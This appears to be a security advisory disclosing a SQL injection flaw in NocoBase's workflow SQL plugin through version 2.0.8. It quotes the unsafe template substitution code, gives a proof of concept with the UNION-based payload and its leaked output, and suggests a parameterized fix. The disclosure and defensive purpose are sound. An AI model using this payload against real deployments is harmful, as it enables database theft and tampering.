Summary
NocoBase <= 2.0.8 plugin-workflow-sql substitutes template variables directly into raw SQL strings via getParsedValue() without parameterization or escaping. Any user who triggers a workflow containing a SQL node with template variables from user-controlled data can inject arbitrary SQL.
Affected Versions
- Affected: all versions through 2.0.8
Details
The SQLInstruction in packages/plugins/@nocobase/plugin-workflow-sql/src/server/SQLInstruction.ts line 28 processes SQL templates:
// SQLInstruction.ts:28
const sql = processor.getParsedValue(node.config.sql || '', node.id).trim();
Then executes the resulting string directly:
// SQLInstruction.ts:35
const [result] = await collectionManager.db.sequelize.query(sql, {
transaction: this.workflow.useDataSourceTransaction(dataSourceName, processor.transaction),
});
getParsedValue() performs simple string substitution of {{$context.data.fieldName}} placeholders with values from the workflow trigger data. No escaping, quoting, or parameterized binding is applied.
When an admin creates a SQL node with a template like:
SELECT * FROM users WHERE nickname = '{{$context.data.nickname}}'
Any user who triggers the workflow with a crafted value can break out of the string literal and inject arbitrary SQL.
Proof of Concept
- Login as admin
- Create a collection-trigger workflow on the
users table (mode: after create)
- Add a SQL node with:
SELECT id, nickname, email FROM users WHERE nickname = '{{$context.data.nickname}}'
- Enable the workflow
- Create a user with nickname set to:
' UNION SELECT 1,version(),current_user --
- Check execution result:
[
{
"id": 1,
"nickname": "PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on x86_64-pc-linux-gnu...",
"email": "nocobase"
}
]
The injected UNION SELECT returned the database version and current database user.
Impact
Full database read/write access through SQL injection. An attacker who can trigger a workflow with a SQL node containing template variables from user-controlled data can extract credentials, modify records, or drop tables. The severity depends on the database user's privileges (full superuser access in the default Docker deployment).
Suggested Fix
Use parameterized queries. Replace direct string substitution with Sequelize bind parameters:
// SQLInstruction.ts
- const sql = processor.getParsedValue(node.config.sql || '', node.id).trim();
+ const { sql, bind } = processor.getParsedValueAsParams(node.config.sql || '', node.id);
const [result] = await collectionManager.db.sequelize.query(sql, {
+ bind,
transaction: ...
});
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